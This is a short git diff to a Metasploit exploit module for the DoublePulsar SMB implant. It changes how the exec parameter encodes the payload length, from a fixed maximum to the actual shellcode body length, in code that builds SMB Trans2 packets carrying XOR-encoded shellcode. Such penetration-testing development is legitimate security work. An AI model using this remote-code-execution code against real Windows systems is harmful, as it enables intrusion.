diff --git a/modules/exploits/windows/smb/doublepulsar_rce.rb b/modules/exploits/windows/smb/doublepulsar_rce.rb index 31967621fa..86abd2b3ce 100644 --- a/modules/exploits/windows/smb/doublepulsar_rce.rb +++ b/modules/exploits/windows/smb/doublepulsar_rce.rb @@ -112,12 +112,12 @@ class MetasploitModule < Msf::Exploit::Remote 0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00 end - def generate_doublepulsar_param(op) + def generate_doublepulsar_param(op, body) case OPCODES.key(op) when :ping, :kill "\x00" * 12 when :exec - Rex::Text.xor([@xor_key].pack('V'), [MAX_SHELLCODE_SIZE, MAX_SHELLCODE_SIZE, 0].pack('V*')) + Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*')) end end @@ -257,7 +257,7 @@ class MetasploitModule < Msf::Exploit::Remote setup_count = 1 setup_data = [0x000e].pack('v') - param = generate_doublepulsar_param(opcode) + param = generate_doublepulsar_param(opcode, body) data = param + body.to_s pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct